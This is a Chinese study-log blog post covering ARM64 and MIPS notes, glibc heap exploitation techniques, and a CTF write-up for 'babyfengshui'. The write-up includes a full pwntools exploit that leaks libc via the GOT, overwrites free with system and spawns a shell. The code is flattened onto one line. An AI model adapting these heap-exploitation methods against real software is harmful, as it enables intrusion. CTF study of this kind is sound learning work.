学习打卡4:堆漏洞的利用技术与技巧与堆风水学习

2024-03-12 12:59

本文主要是介绍学习打卡4:堆漏洞的利用技术与技巧与堆风水学习,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

督促自己:2020-9-10

学习记录:

《逆向工程权威指南》上

ARM64

ARM64的CPU中可能运行于ARM模式,不可能运行于 Thmub 或者 Thmub-2 moshi ,所以它必须使用32位指令。

  • STP(Store Pair) 指令是把寄存器的值存储到内存中的任意地址,明确是sp寄存器时,是存储在栈中。
  • 感叹号标志意味着其标注的运算会被优先执行。(这属于“预索引/pre-index”指令,对应“延迟索引/post-index”指令)
  • 在ARM64中,X29寄存器时帧指针,X30起着LR的作用,所以在函数序言和尾声成对出现。
  • W0是X0寄存器的低32位
mov x0, #0x0            //#0
  • 此处这条指令没有感叹号标记,意味着它将进行赋值操作,再把sp的值与16进行求和运算。------延时索引(post-index)指令

  • RET指令(返回指令)与BX LR作用相同,但是是按照寄存器的名称进行跳转的(默认使用X30寄存器指向的地址)

MIPS

全局指针 Globle Pointer :MIPS重要概念

每条MIPS指令都是32位的指令,所以单条指令无法容纳32位地址(指针)。这种情况下MIPS就得传递一对指令才能使用一个完整的指针。

**概念:**为了简化静态数据的访问操作,MIPS平台特地为此保留了一个专用的寄存器,并且把常用数据分配到了一个大小为64KB的内存数据空间中,这种专用的寄存器就叫做:‘全局指针’寄存器。

它的值是一个指针,指向64KB(静态)数据空间的正中间。而这64KB空间通常用于存储全局变量,以及printf()这类由外部导入的的外部函数地址。

在ELF格式的文件中,这个64KB的静态数据位于.sbss和.sdata之中。".sbss”是small BSS(Block Started by
Symbol)的缩写,用于存储非初始化的数据。".sdata”是small data的缩写,用于存储有初始化数值的数据。

根据这种数据布局编程人员可以自行决定把需要快速访问的数据放在.sdata、还是.sbss数据段中。

  • GP寄存器:全局指针寄存器

在这里插入图片描述

  • 初始化呢全局指正寄存器GP寄存器的值,并将其指向64KB数据段的正中央。

  • LW政令(Load Word):加载指令。

  • LUI :Load Upper Immediate

  • ADDIU : Add Immediate Unsigned Word

  • JALR : Jump and Link Register

  • MIPS有一个常量寄存器$0寄存器提供数值0的机制,$0里面的值是常量0。

    在MIPS系统中,没有在寄存器之间复制数值的(硬件)指令。
    MOVE DST , SRC 指令是通过加法指令ADD DST , SRC, $ZERO变相实现的,即等效:DST = SRC + 0

  • “T-”开头的寄存器叫做“临时”寄存器,同于保存代码里的临时值。

  • MIPS和其他的一些硬件平台的指令集都没有单独的NOP指令。

    NOP的显示:在IDA中,IDA并不会自动把实际指令匹配为NOP指令,所有一般是“OR $AT , $ZERO”形式,表面上看,它将保留寄存器 $AT 的值与0进行或运算,但从本质上讲,就是发给CPU的NOP指令。

堆风水

堆风水也叫作堆排布 ,就是根据堆分配机制,将特定的内存块分配到特定的位置去,在一些其他漏洞的利用中起到效果。 堆排布几乎是所有堆漏洞利用所必需的技能,需要对glibc内存管理策略非常熟悉。

堆漏洞的利用思想:

  • 破坏堆内存管理的相关数据结构:如arena、bin、chunk
  • 破坏堆内存中的用户数据:覆盖变量指针、函数指针、数据等
  • 一般情况下都是为了构造任意内存读写以及控制流劫持

堆漏洞的防护方法:

  • 保护堆内存管理相关的数据结构:Heap Canary
  • 保护堆内存中的用户数据:CFI, Vtable protect
  • 通用防护:ASLR, DEP

堆漏洞的利用技术与技巧:

  • Use After Free & Double Free

    • Dangling pointer

      指向被释放的内存的指针,通常是由于释放内存后未将指针置null

    • Use After Free

      对Dangling pointer所指向内存进行use。

    UAF的利用思路:想办法将Dangling pointer指向的内存重新分配回来,且尽可能的使该内存中的内容可控(如重新分配为字符串)。如果use的方式是打印*(Dangling pointer+8),那就会产生任意地址读,如果use方式是将*(Dangling pointer+12)作为函数指针进行调用,那就可以劫持控制流.  
    
    • Double Free

      UAF中的use为再次free,是一种特殊的UAF,且可转换为普通的UAF转换:free§,p2=malloc(),p2与p指向同一个内存free§,p2为Dangling pointer=>UAF

  • Heap Overflow

    • Overflow directly

      直接覆盖相邻堆块的内存的内容

    关键:如何让想被覆盖的堆块正好在具有溢出漏洞的堆块之后
    
    • Fast bin attack

      改写fastbin单向链表中的fd,那再次分配就会分配到被改写的fd指向的地址

      改写目标必须有一个正确的size对应,否则会挂。 另外还有:House of Spirit

    • Unsorted bin attack

    当需要分配的内存无法在fastbin或者smallbin找到时,glibc会从unsort bins的链表头的bk开始遍历,遍历过程中会把unsortbin中的块加入合适的smallbin/largebin中,如果找到合适大小内存块则会返回。

    利用思路:通过堆溢出覆盖victim->bk为要写入的地址- 4,再次分配时bck->fd = unsorted_chunks (av)会触发一个任意地址写。写入的内容是libc中的一个地址。只不过此时unsortedbin被破坏,再次分配代码会崩掉,所以要谨慎考虑写入的地址,通常可以改写global_max_fast,从而导致接下来所有分配都是在libc进行。通过堆溢出覆盖victim->bk为一个size为x的fake chunk,再次分配unsorted_chunks (av)-> bk = bck会改写unsortedbin链表头的bk,此时再分配 x-4 大小的内存即可返回fakechunkOverwrite Topchunk
    
    • House of Force

      Bin中没有任何合适的内存时会从topchunk分配内存:if(topchunk->size > alloc_size) {victim = topchunk; topchunk = topchunk - alloc_size; return victim;}
      改写topchunk的size为一个很大的数,如0xffffffff,分配alloc_size - 4大小的内存。由于alloc_size可控,所以此时topchunk位置可控,再次分配即可分配到想分配的位置
      需要预先泄露topchunk的地址Classical&Modern Unlink Attack
      
    • unlink

      当free(mem)调用时,如果与mem相邻的块是空闲的,则会将其从空闲链表中拿(unlink)下来并与mem合并。

        #define unlink(P, BK, FD) {BK = p->bk;FD = P->fd;FD->bk = BK;BK->fd = FD;}
      
      • Classical Unlink Attack

        如果通过heapoverflow将 P->bk 以及 P->fd 覆盖为攻击者可控制的地址,那`FD->bk = BK; BK->fd = FD; => P->fd->bk = P->bk; P->bk->fd = P->fd;` 造成任意写。不管要求(要写的内容+4)或者(要写的内容+8)。必须可写,否则会崩。但已不可用,现代glibc已有此检查:`P->fd->bk == P&&P->bk->fd == P`
        
    • Modern Unlink Attack

      找一个pointer X, *X=P, Overflow P->bk = X-4; P->fd = X-8
      P->bk->fd == X-4->fd == P, P->fd->bk == X-8->bk == P
      Unlink可得到 *P=X,此时可通过P修改X,如果X是数据指针则可能造成任意地址读写
      
    • Off by null

      溢出位数为1的溢出漏洞

    • Other techniques

      溢出位数为1且溢出内容为null的溢出漏洞

      在glibc中,如果攻击者可以控制malloc的大小和malloc与free的时机,堆中的off by one和off by null是可用的,通常可用构造出UAF,进而构造出任意地址读写&控制流劫持。主要利用思想:改写下一个chunk的chunk size(including inuse bit)
      
  • General exploit techniques

    • Heap fengshui
    高级堆排布技术:Heap fengshui动机:真实漏洞在利用的时候,堆是混乱的,因为存在漏洞的服务可能已经服务过很多用户,在触发漏洞时无法预计堆已经做了多少次malloc,多少次free。Heap fengshui可以让堆从混乱状态转换为确定状态不同的内存管理策略对应的heap fengshui的方法不同,例如:For glibc fastbin:把每种可能的大小都分配好多次。
    
    • Heap spray
    堆喷:不断分配内存,并填充(大量0x0c)+shellcode,直到0x0c0c0c0c内存地址被分配,多用于脚本语言漏洞的利用。大多数内存地址的值都是0x0c0c0c0c,0x0c0c0c0c地址也是0x0c slide+shellcode可以用其绕过ASLR,控制流劫持(jmp addr/jmp *addr)时,只要addr是喷过地址都可以执行shellcode,注意\*addr = 0x0c0c0c0c \*\*addr = 0x0c0c0c0c ***addr = 0x0c0c0c,必须在NX关闭时才能直接利用heap spray劫持控制流。
    
    • Exploit mmap chunk
    mmaped chunk:当malloc的块的大小大于128KB时,glibc会直接mmap内存。如果mmap的内存将整个binary的地址空间全部覆盖,我们就可以轻松拿到与任意地址相邻的堆地址,ASLR就失去了意义。适用于没有限制分配内存大小的问题。
    

题目:

babyfengshui
在这里插入图片描述

32位程序,没有开PIE
在这里插入图片描述
Add函数中可以看出,user结构体:

struct User{char *description;大小自己定char name[124];
};

堆结构大概为:

###################################################
# description                                     #
#                                                 #
#                                                 #
#                                                 #
###################################################
###################################################
# 指向description 指针#   name                      #
#####################                             #
#                                                 #
#                                                 #
###################################################

Update函数:
在这里插入图片描述

也就是说你第一次输入的description或者修改的description的长度不能达到箭头处:

 #################################################### description                                     ##                                                 ##                                                 ##                                                 #######################################################################################################
→# 指向description 指针#   name                      ######################                             ##                                                 ##                                                 ####################################################

看起来好像没啥问题,但不要因为这两个堆块是连续分配的,就先入为主的认为这两个堆块是连续的!

这种检查方式是有问题的,它基于 description 正好位于 user 前面这种设定。根据我们对堆分配器的理解,这个设定不一定成立,它们之间可能会包含其他已分配的堆块,从而绕过检查。

其他函数没有什么问题。

漏洞利用:

我们首先添加两个 user,用于绕过检查。第 3 个 user 存放 “/bin/sh”。然后删掉第 1 个 user,并创建一个 description 很长的 user,其长度是第 1 个 user 的 description 长度加上 user 结构体长度。这时候检查就绕过了,我们可以在添加新 user 的时候修改 description 大小,造成堆溢出,并修改第 2 个 user 的 user->desc 为 free@got.plt,从而泄漏出 libc 地址。得到 system 地址后,此时修改第 2 个 user 的 description,其实是修改 free 的 GOT,所以我们将其改成 system@got.plt。最后删除第 3 个 user,触发 system(’/bin/sh’),得到 shell。

exp:
#!/usr/bin/env pythonfrom pwn import *#context.log_level = 'debug'p = process(['./babyfengshui'], env={'LD_PRELOAD':'./libc-2.19.so'})
elf = ELF('babyfengshui')
libc = ELF('libc-2.19.so')def add_user(size, length, text):p.sendlineafter("Action: ", '0')p.sendlineafter("description: ", str(size))p.sendlineafter("name: ", 'AAAA')p.sendlineafter("length: ", str(length))p.sendlineafter("text: ", text)def delete_user(idx):p.sendlineafter("Action: ", '1')p.sendlineafter("index: ", str(idx))def display_user(idx):p.sendlineafter("Action: ", '2')p.sendlineafter("index: ", str(idx))def update_desc(idx, length, text):p.sendlineafter("Action: ", '3')p.sendlineafter("index: ", str(idx))p.sendlineafter("length: ", str(length))p.sendlineafter("text: ", text)if __name__ == "__main__":add_user(0x80, 0x80, 'AAAA')        # 0add_user(0x80, 0x80, 'AAAA')        # 1add_user(0x8, 0x8, '/bin/sh\x00')   # 2delete_user(0)add_user(0x100, 0x19c, "A"*0x198 + p32(elf.got['free']))    # 0display_user(1)p.recvuntil("description: ")free_addr = u32(p.recvn(4))system_addr = free_addr - (libc.symbols['free'] - libc.symbols['system'])log.info("system address: 0x%x" % system_addr)update_desc(1, 0x4, p32(system_addr))delete_user(2)p.interactive()

参考文献:

https://blog.csdn.net/breeze_cat/article/details/103788631

http://www.peckerwood.top/post/adword_babyfengshui/

 

明日任务:《逆向工程权威指南》上第四章,kernel base。

这篇关于学习打卡4:堆漏洞的利用技术与技巧与堆风水学习的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/801336

相关文章

HarmonyOS学习(七)——UI(五)常用布局总结

自适应布局 1.1、线性布局(LinearLayout) 通过线性容器Row和Column实现线性布局。Column容器内的子组件按照垂直方向排列,Row组件中的子组件按照水平方向排列。 属性说明space通过space参数设置主轴上子组件的间距,达到各子组件在排列上的等间距效果alignItems设置子组件在交叉轴上的对齐方式,且在各类尺寸屏幕上表现一致,其中交叉轴为垂直时,取值为Vert

Ilya-AI分享的他在OpenAI学习到的15个提示工程技巧

Ilya(不是本人,claude AI)在社交媒体上分享了他在OpenAI学习到的15个Prompt撰写技巧。 以下是详细的内容: 提示精确化:在编写提示时,力求表达清晰准确。清楚地阐述任务需求和概念定义至关重要。例:不用"分析文本",而用"判断这段话的情感倾向:积极、消极还是中性"。 快速迭代:善于快速连续调整提示。熟练的提示工程师能够灵活地进行多轮优化。例:从"总结文章"到"用

【前端学习】AntV G6-08 深入图形与图形分组、自定义节点、节点动画(下)

【课程链接】 AntV G6:深入图形与图形分组、自定义节点、节点动画(下)_哔哩哔哩_bilibili 本章十吾老师讲解了一个复杂的自定义节点中,应该怎样去计算和绘制图形,如何给一个图形制作不间断的动画,以及在鼠标事件之后产生动画。(有点难,需要好好理解) <!DOCTYPE html><html><head><meta charset="UTF-8"><title>06

学习hash总结

2014/1/29/   最近刚开始学hash,名字很陌生,但是hash的思想却很熟悉,以前早就做过此类的题,但是不知道这就是hash思想而已,说白了hash就是一个映射,往往灵活利用数组的下标来实现算法,hash的作用:1、判重;2、统计次数;

【专题】2024飞行汽车技术全景报告合集PDF分享(附原数据表)

原文链接: https://tecdat.cn/?p=37628 6月16日,小鹏汇天旅航者X2在北京大兴国际机场临空经济区完成首飞,这也是小鹏汇天的产品在京津冀地区进行的首次飞行。小鹏汇天方面还表示,公司准备量产,并计划今年四季度开启预售小鹏汇天分体式飞行汽车,探索分体式飞行汽车城际通勤。阅读原文,获取专题报告合集全文,解锁文末271份飞行汽车相关行业研究报告。 据悉,业内人士对飞行汽车行业

零基础学习Redis(10) -- zset类型命令使用

zset是有序集合,内部除了存储元素外,还会存储一个score,存储在zset中的元素会按照score的大小升序排列,不同元素的score可以重复,score相同的元素会按照元素的字典序排列。 1. zset常用命令 1.1 zadd  zadd key [NX | XX] [GT | LT]   [CH] [INCR] score member [score member ...]

购买磨轮平衡机时应该注意什么问题和技巧

在购买磨轮平衡机时,您应该注意以下几个关键点: 平衡精度 平衡精度是衡量平衡机性能的核心指标,直接影响到不平衡量的检测与校准的准确性,从而决定磨轮的振动和噪声水平。高精度的平衡机能显著减少振动和噪声,提高磨削加工的精度。 转速范围 宽广的转速范围意味着平衡机能够处理更多种类的磨轮,适应不同的工作条件和规格要求。 振动监测能力 振动监测能力是评估平衡机性能的重要因素。通过传感器实时监

【机器学习】高斯过程的基本概念和应用领域以及在python中的实例

引言 高斯过程(Gaussian Process,简称GP)是一种概率模型,用于描述一组随机变量的联合概率分布,其中任何一个有限维度的子集都具有高斯分布 文章目录 引言一、高斯过程1.1 基本定义1.1.1 随机过程1.1.2 高斯分布 1.2 高斯过程的特性1.2.1 联合高斯性1.2.2 均值函数1.2.3 协方差函数(或核函数) 1.3 核函数1.4 高斯过程回归(Gauss

金融业开源技术 术语

金融业开源技术  术语 1  范围 本文件界定了金融业开源技术的常用术语。 本文件适用于金融业中涉及开源技术的相关标准及规范性文件制定和信息沟通等活动。

【学习笔记】 陈强-机器学习-Python-Ch15 人工神经网络(1)sklearn

系列文章目录 监督学习:参数方法 【学习笔记】 陈强-机器学习-Python-Ch4 线性回归 【学习笔记】 陈强-机器学习-Python-Ch5 逻辑回归 【课后题练习】 陈强-机器学习-Python-Ch5 逻辑回归(SAheart.csv) 【学习笔记】 陈强-机器学习-Python-Ch6 多项逻辑回归 【学习笔记 及 课后题练习】 陈强-机器学习-Python-Ch7 判别分析 【学